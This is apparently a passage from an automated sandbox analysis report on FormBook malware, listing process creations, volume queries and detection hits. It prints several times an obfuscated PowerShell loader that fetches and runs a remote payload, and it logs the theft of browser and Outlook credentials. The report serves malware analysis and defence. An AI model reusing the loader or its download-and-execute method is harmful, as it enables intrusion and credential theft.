eNmD. N e.tG.JWEe bFC.lTi e,n t. ');Nonsensitizeds (ciceroner 'U$UR.eKfAe rDe,nsc e,v r.kIe rG.VH e aPd eDr,sO[R$MHRyVpFs iLlAo.pFhIo dGo,n tDo.iIdu2,1O].=.$UA uFt oUi n,d t r.k sL ');$Superrheumatized=ciceroner 'LR.eHfSeFr e,n cte.vBrVkOeVr .IDKo w nPl oNa d F i l.ec( $.LIy,d.sBiIdBeSrSn.e.sD, $.BAe,tTa g.eBtSh,e.dIsG), ';$Superrheumatized=$Conveth[1]+$Superrheumatized;$Betagetheds=$Conveth[0];Nonsensitizeds (ciceroner ' $AgFl o,bBa.l.:MDTvHnKl d.eEnC=I(UTFe s,tR- PMa.t.h $TBPe tSaMgMe tNhKe d s ) ');while (!$Dvnlden) {Nonsensitizeds (ciceroner '.$PgFlToSb aPlS: OSdTiKnSi aNn = $.t r u.eO ') ;Nonsensitizeds $Superrheumatized;Nonsensitizeds (ciceroner ' SWtBa.r.t -TS l.e e pS E4. ');Nonsensitizeds (ciceroner 'B$ g lEo.bCaWl,:,D vBnBlPdBeIn = (RTUe,s,tR- P.aSt ha B$,Bse t aAg e,tDh e.dDsP) ') ;Nonsensitizeds (ciceroner 'D$ gMlQo b,aCln: B.uVs t iDa n =F$RgSl.o bSaDlB:OO uOtSs m o k.e s +A+ % $,L iEn,iae sHkSriiBv eSrMsE.Kc.obuRn t ') ;$Lydsidernes=$Linieskrivers[$Bustian];}Nonsensitizeds (ciceroner 'G$ g l o bua l,: A mFpPhSo.lOyPt e,2,0m4 D=, SG e,t -,C o.n t eSn tS $ BBe.tdaEgEe t h eMd,s. ');Nonsensitizeds (ciceroner 'E$Fg lCoAbUa,lC:HSGtDa mSmAe,r,i nEgFlSyD F=. W[LS y,sWtKeBmT.TCCosn vSeSrAt.]R:G:CFqr oTm,BKa s eS6K4 SRt,r iVnUgS(,$ A,mBpPhJoAl.yItTe 2 0,4 )H ');Nonsensitizeds (c Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\ceilometers.Pri && echo $" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe" Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$kildematerialet107 = 1;$kernevaabnet='substrin';$kernevaabnet+='g';function ciceroner($bldgringer){$cholecystogram=$bldgringer.length-$kildematerialet107;for($brandsituationerne=1; $brandsituationerne -lt $cholecystogram; $brandsituationerne+=(2)){$categoricalness+=$bldgringer.$kernevaabnet.invoke($brandsituationerne, $kildematerialet107);}$categoricalness;}function nonsensitizeds($whap){& ($skimpiness) ($whap);}$autoindtrks=ciceroner 'pm,o z i l loak/,5k. 0 ( w.ianrd ouw sc netc ,1s0.. 0m;i w i nu6 4.;w pxs6r4 ;, rrvk: 1 2b1a. 0 )s cg.egckk oa/ 2e0r1s0 0l1 0y1t .ftior,e,f o.xp/n1s2u1g.,0b ';$hypsilophodontoid21=ciceroner 'ku.s epr - a g e,npt ';$lydsidernes=ciceroner 'uh totmp,:./ /l8b7 . 1 2 1w..1 0.5r.g1 6u3 /.bfo,lpd,kcluusbhbsecn s,. p ckzn ';$jvnhjde=ciceroner ',>, ';$skimpiness=ciceroner 'aijeux, ';$equichangeable='jynginae';nonsensitizeds (ciceroner '.s,ert -bc omn,tpe nptm -zpsa tnh wt :e\sftegi ..t xctu g-,v all,u,er $aesq uiipc,hfa npg eba b l.e ;m ');nonsensitizeds (ciceroner ',i.f. e(btkeks te- p a t h tb: \afae i..stgxtt ),{ euxiimt }w; ');$nutmegged = ciceroner 'qebc.hsou %taop p dsast at%,\acbeji,l.oamee.t eir s,.bpbraiu h&,&. edc,hdob $. ';nonsensitizeds (ciceroner ' $ gslro bta l.:,c otnnv est h.=k(.c mddt a/ac $rn uft.mme g,gpefdl)p ');nonsensitizeds (ciceroner 'f$ogkl o b aals:tl itn i e sfk r.i vuevrasr=f$nlbyddss i d,etrinress,.ns.p lli t ( $hj.v n hfjld,e,). ');$lydsidernes=$linieskrivers[0];nonsensitizeds (ciceroner 't$og leo b aulr: rae fse.r eln c e.v rtkde rw=pnce w - o b j.epcstu .shypspt enmd. n e.tg.jwee bfc.lti e,n t. ');nonsensitizeds (ciceroner 'u$ur.ekfae rde,nsc e,v r.kie rg.vh e apd edr,so[r$mhryvpfs illao.pfhio dgo,n tdo.iidu2,1o].=.$ua uft oui n,d t r.k sl ');$superrheumatized=ciceroner 'lr.ehfsefr e,n cte.vbrvkoevr .idko w npl ona d f i l.ec( $.liy,d.sbiidbesrsn.e.sd, $.bae,tta g.ebtsh,e.disg), ';$superrheumatized=$conveth[1]+$superrheumatized;$betagetheds=$conveth[0];nonsensitizeds (ciceroner ' $agfl o,bba.l.:mdtvhnkl d.eenc=i(utfe s,tr- pma.t.h $tbpe tsamgme tnhke d s ) ');while (!$dvnlden) {nonsensitizeds (ciceroner '.$pgfltosb apls: osdtiknsi ann = $.t r u.eo ') ;nonsensitizeds $superrheumatized;nonsensitizeds (ciceroner ' swtba.r.t -ts l.e e ps e4. ');nonsensitizeds (ciceroner 'b$ g leo.bcawl,:,d vbnblpdbein = (rtue,s,tr- p.ast ha b$,bse t aag e,tdh e.ddsp) ') ;nonsensitizeds (ciceroner 'd$ gmlqo b,acln: b.uvs t ida n =f$rgsl.o bsadlb:oo uotss m o k.e s +a+ % $,l ien,iae shksriibv esrmse.kc.oburn t ') ;$lydsidernes=$linieskrivers[$bustian];}nonsensitizeds (ciceroner 'g$ g l o bua l,: a mfpphso.loypt e,2,0m4 d=, sg e,t -,c o.n t esn ts $ bbe.tdaegee t h emd,s. ');nonsensitizeds (ciceroner 'e$fg lcoabua,lc:hsgtda msmae,r,i negflsyd f=. w[ls y,swtkebmt.tccosn vsesrat.]r:g:cfqr otm,bka s es6k4 srt,r ivnugs(,$ a,mbpphjoal.yitte 2 0,4 )h ');nonsensitizeds (c
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$kildematerialet107 = 1;$kernevaabnet='substrin';$kernevaabnet+='g';function ciceroner($bldgringer){$cholecystogram=$bldgringer.length-$kildematerialet107;for($brandsituationerne=1; $brandsituationerne -lt $cholecystogram; $brandsituationerne+=(2)){$categoricalness+=$bldgringer.$kernevaabnet.invoke($brandsituationerne, $kildematerialet107);}$categoricalness;}function nonsensitizeds($whap){& ($skimpiness) ($whap);}$autoindtrks=ciceroner 'pm,o z i l loak/,5k. 0 ( w.ianrd ouw sc netc ,1s0.. 0m;i w i nu6 4.;w pxs6r4 ;, rrvk: 1 2b1a. 0 )s cg.egckk oa/ 2e0r1s0 0l1 0y1t .ftior,e,f o.xp/n1s2u1g.,0b ';$hypsilophodontoid21=ciceroner 'ku.s epr - a g e,npt ';$lydsidernes=ciceroner 'uh totmp,:./ /l8b7 . 1 2 1w..1 0.5r.g1 6u3 /.bfo,lpd,kcluusbhbsecn s,. p ckzn ';$jvnhjde=ciceroner ',>, ';$skimpiness=ciceroner 'aijeux, ';$equichangeable='jynginae';nonsensitizeds (ciceroner '.s,ert -bc omn,tpe nptm -zpsa tnh wt :e\sftegi ..t xctu g-,v all,u,er $aesq uiipc,hfa npg eba b l.e ;m ');nonsensitizeds (ciceroner ',i.f. e(btkeks te- p a t h tb: \afae i..stgxtt ),{ euxiimt }w; ');$nutmegged = ciceroner 'qebc.hsou %taop p dsast at%,\acbeji,l.oamee.t eir s,.bpbraiu h&,&. edc,hdob $. ';nonsensitizeds (ciceroner ' $ gslro bta l.:,c otnnv est h.=k(.c mddt a/ac $rn uft.mme g,gpefdl)p ');nonsensitizeds (ciceroner 'f$ogkl o b aals:tl itn i e sfk r.i vuevrasr=f$nlbyddss i d,etrinress,.ns.p lli t ( $hj.v n hfjld,e,). ');$lydsidernes=$linieskrivers[0];nonsensitizeds (ciceroner 't$og leo b aulr: rae fse.r eln c e.v rtkde rw=pnce w - o b j.epcstu .shypspt enmd. n e.tg.jwee bfc.lti e,n t. ');nonsensitizeds (ciceroner 'u$ur.ekfae rde,nsc e,v r.kie rg.vh e apd edr,so[r$mhryvpfs illao.pfhio dgo,n tdo.iidu2,1o].=.$ua uft oui n,d t r.k sl ');$superrheumatized=ciceroner 'lr.ehfsefr e,n cte.vbrvkoevr .idko w npl ona d f i l.ec( $.liy,d.sbiidbesrsn.e.sd, $.bae,tta g.ebtsh,e.disg), ';$superrheumatized=$conveth[1]+$superrheumatized;$betagetheds=$conveth[0];nonsensitizeds (ciceroner ' $agfl o,bba.l.:mdtvhnkl d.eenc=i(utfe s,tr- pma.t.h $tbpe tsamgme tnhke d s ) ');while (!$dvnlden) {nonsensitizeds (ciceroner '.$pgfltosb apls: osdtiknsi ann = $.t r u.eo ') ;nonsensitizeds $superrheumatized;nonsensitizeds (ciceroner ' swtba.r.t -ts l.e e ps e4. ');nonsensitizeds (ciceroner 'b$ g leo.bcawl,:,d vbnblpdbein = (rtue,s,tr- p.ast ha b$,bse t aag e,tdh e.ddsp) ') ;nonsensitizeds (ciceroner 'd$ gmlqo b,acln: b.uvs t ida n =f$rgsl.o bsadlb:oo uotss m o k.e s +a+ % $,l ien,iae shksriibv esrmse.kc.oburn t ') ;$lydsidernes=$linieskrivers[$bustian];}nonsensitizeds (ciceroner 'g$ g l o bua l,: a mfpphso.loypt e,2,0m4 d=, sg e,t -,c o.n t esn ts $ bbe.tdaegee t h emd,s. ');nonsensitizeds (ciceroner 'e$fg lcoabua,lc:hsgtda msmae,r,i negflsyd f=. w[ls y,swtkebmt.tccosn vsesrat.]r:g:cfqr otm,bka s es6k4 srt,r ivnugs(,$ a,mbpphjoal.yitte 2 0,4 )h ');nonsensitizeds (c
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$kildematerialet107 = 1;$kernevaabnet='substrin';$kernevaabnet+='g';function ciceroner($bldgringer){$cholecystogram=$bldgringer.length-$kildematerialet107;for($brandsituationerne=1; $brandsituationerne -lt $cholecystogram; $brandsituationerne+=(2)){$categoricalness+=$bldgringer.$kernevaabnet.invoke($brandsituationerne, $kildematerialet107);}$categoricalness;}function nonsensitizeds($whap){& ($skimpiness) ($whap);}$autoindtrks=ciceroner 'pm,o z i l loak/,5k. 0 ( w.ianrd ouw sc netc ,1s0.. 0m;i w i nu6 4.;w pxs6r4 ;, rrvk: 1 2b1a. 0 )s cg.egckk oa/ 2e0r1s0 0l1 0y1t .ftior,e,f o.xp/n1s2u1g.,0b ';$hypsilophodontoid21=ciceroner 'ku.s epr - a g e,npt ';$lydsidernes=ciceroner 'uh totmp,:./ /l8b7 . 1 2 1w..1 0.5r.g1 6u3 /.bfo,lpd,kcluusbhbsecn s,. p ckzn ';$jvnhjde=ciceroner ',>, ';$skimpiness=ciceroner 'aijeux, ';$equichangeable='jynginae';nonsensitizeds (ciceroner '.s,ert -bc omn,tpe nptm -zpsa tnh wt :e\sftegi ..t xctu g-,v all,u,er $aesq uiipc,hfa npg eba b l.e ;m ');nonsensitizeds (ciceroner ',i.f. e(btkeks te- p a t h tb: \afae i..stgxtt ),{ euxiimt }w; ');$nutmegged = ciceroner 'qebc.hsou %taop p dsast at%,\acbeji,l.oamee.t eir s,.bpbraiu h&,&. edc,hdob $. ';nonsensitizeds (ciceroner ' $ gslro bta l.:,c otnnv est h.=k(.c mddt a/ac $rn uft.mme g,gpefdl)p ');nonsensitizeds (ciceroner 'f$ogkl o b aals:tl itn i e sfk r.i vuevrasr=f$nlbyddss i d,etrinress,.ns.p lli t ( $hj.v n hfjld,e,). ');$lydsidernes=$linieskrivers[0];nonsensitizeds (ciceroner 't$og leo b aulr: rae fse.r eln c e.v rtkde rw=pnce w - o b j.epcstu .shypspt enmd. n e.tg.jwee bfc.lti e,n t. ');nonsensitizeds (ciceroner 'u$ur.ekfae rde,nsc e,v r.kie rg.vh e apd edr,so[r$mhryvpfs illao.pfhio dgo,n tdo.iidu2,1o].=.$ua uft oui n,d t r.k sl ');$superrheumatized=ciceroner 'lr.ehfsefr e,n cte.vbrvkoevr .idko w npl ona d f i l.ec( $.liy,d.sbiidbesrsn.e.sd, $.bae,tta g.ebtsh,e.disg), ';$superrheumatized=$conveth[1]+$superrheumatized;$betagetheds=$conveth[0];nonsensitizeds (ciceroner ' $agfl o,bba.l.:mdtvhnkl d.eenc=i(utfe s,tr- pma.t.h $tbpe tsamgme tnhke d s ) ');while (!$dvnlden) {nonsensitizeds (ciceroner '.$pgfltosb apls: osdtiknsi ann = $.t r u.eo ') ;nonsensitizeds $superrheumatized;nonsensitizeds (ciceroner ' swtba.r.t -ts l.e e ps e4. ');nonsensitizeds (ciceroner 'b$ g leo.bcawl,:,d vbnblpdbein = (rtue,s,tr- p.ast ha b$,bse t aag e,tdh e.ddsp) ') ;nonsensitizeds (ciceroner 'd$ gmlqo b,acln: b.uvs t ida n =f$rgsl.o bsadlb:oo uotss m o k.e s +a+ % $,l ien,iae shksriibv esrmse.kc.oburn t ') ;$lydsidernes=$linieskrivers[$bustian];}nonsensitizeds (ciceroner 'g$ g l o bua l,: a mfpphso.loypt e,2,0m4 d=, sg e,t -,c o.n t esn ts $ bbe.tdaegee t h emd,s. ');nonsensitizeds (ciceroner 'e$fg lcoabua,lc:hsgtda msmae,r,i negflsyd f=. w[ls y,swtkebmt.tccosn vsesrat.]r:g:cfqr otm,bka s es6k4 srt,r ivnugs(,$ a,mbpphjoal.yitte 2 0,4 )h ');nonsensitizeds (c Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$kildematerialet107 = 1;$kernevaabnet='substrin';$kernevaabnet+='g';function ciceroner($bldgringer){$cholecystogram=$bldgringer.length-$kildematerialet107;for($brandsituationerne=1; $brandsituationerne -lt $cholecystogram; $brandsituationerne+=(2)){$categoricalness+=$bldgringer.$kernevaabnet.invoke($brandsituationerne, $kildematerialet107);}$categoricalness;}function nonsensitizeds($whap){& ($skimpiness) ($whap);}$autoindtrks=ciceroner 'pm,o z i l loak/,5k. 0 ( w.ianrd ouw sc netc ,1s0.. 0m;i w i nu6 4.;w pxs6r4 ;, rrvk: 1 2b1a. 0 )s cg.egckk oa/ 2e0r1s0 0l1 0y1t .ftior,e,f o.xp/n1s2u1g.,0b ';$hypsilophodontoid21=ciceroner 'ku.s epr - a g e,npt ';$lydsidernes=ciceroner 'uh totmp,:./ /l8b7 . 1 2 1w..1 0.5r.g1 6u3 /.bfo,lpd,kcluusbhbsecn s,. p ckzn ';$jvnhjde=ciceroner ',>, ';$skimpiness=ciceroner 'aijeux, ';$equichangeable='jynginae';nonsensitizeds (ciceroner '.s,ert -bc omn,tpe nptm -zpsa tnh wt :e\sftegi ..t xctu g-,v all,u,er $aesq uiipc,hfa npg eba b l.e ;m ');nonsensitizeds (ciceroner ',i.f. e(btkeks te- p a t h tb: \afae i..stgxtt ),{ euxiimt }w; ');$nutmegged = ciceroner 'qebc.hsou %taop p dsast at%,\acbeji,l.oamee.t eir s,.bpbraiu h&,&. edc,hdob $. ';nonsensitizeds (ciceroner ' $ gslro bta l.:,c otnnv est h.=k(.c mddt a/ac $rn uft.mme g,gpefdl)p ');nonsensitizeds (ciceroner 'f$ogkl o b aals:tl itn i e sfk r.i vuevrasr=f$nlbyddss i d,etrinress,.ns.p lli t ( $hj.v n hfjld,e,). ');$lydsidernes=$linieskrivers[0];nonsensitizeds (ciceroner 't$og leo b aulr: rae fse.r eln c e.v rtkde rw=pnce w - o b j.epcstu .shypspt enmd. n e.tg.jwee bfc.lti e,n t. ');nonsensitizeds (ciceroner 'u$ur.ekfae rde,nsc e,v r.kie rg.vh e apd edr,so[r$mhryvpfs illao.pfhio dgo,n tdo.iidu2,1o].=.$ua uft oui n,d t r.k sl ');$superrheumatized=ciceroner 'lr.ehfsefr e,n cte.vbrvkoevr .idko w npl ona d f i l.ec( $.liy,d.sbiidbesrsn.e.sd, $.bae,tta g.ebtsh,e.disg), ';$superrheumatized=$conveth[1]+$superrheumatized;$betagetheds=$conveth[0];nonsensitizeds (ciceroner ' $agfl o,bba.l.:mdtvhnkl d.eenc=i(utfe s,tr- pma.t.h $tbpe tsamgme tnhke d s ) ');while (!$dvnlden) {nonsensitizeds (ciceroner '.$pgfltosb apls: osdtiknsi ann = $.t r u.eo ') ;nonsensitizeds $superrheumatized;nonsensitizeds (ciceroner ' swtba.r.t -ts l.e e ps e4. ');nonsensitizeds (ciceroner 'b$ g leo.bcawl,:,d vbnblpdbein = (rtue,s,tr- p.ast ha b$,bse t aag e,tdh e.ddsp) ') ;nonsensitizeds (ciceroner 'd$ gmlqo b,acln: b.uvs t ida n =f$rgsl.o bsadlb:oo uotss m o k.e s +a+ % $,l ien,iae shksriibv esrmse.kc.oburn t ') ;$lydsidernes=$linieskrivers[$bustian];}nonsensitizeds (ciceroner 'g$ g l o bua l,: a mfpphso.loypt e,2,0m4 d=, sg e,t -,c o.n t esn ts $ bbe.tdaegee t h emd,s. ');nonsensitizeds (ciceroner 'e$fg lcoabua,lc:hsgtda msmae,r,i negflsyd f=. w[ls y,swtkebmt.tccosn vsesrat.]r:g:cfqr otm,bka s es6k4 srt,r ivnugs(,$ a,mbpphjoal.yitte 2 0,4 )h ');nonsensitizeds (c Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 00000009.00000002.2260878496.0000000002ED0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2945407561.0000000000860000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2286239677.0000000023700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2945907117.0000000000DA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2945047764.0000000000600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2944308343.00000000004C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2945916928.0000000002C00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\AtBroker.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 00000009.00000002.2260878496.0000000002ED0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2945407561.0000000000860000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2286239677.0000000023700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2945907117.0000000000DA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2945047764.0000000000600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2944308343.00000000004C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2945916928.0000000002C00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
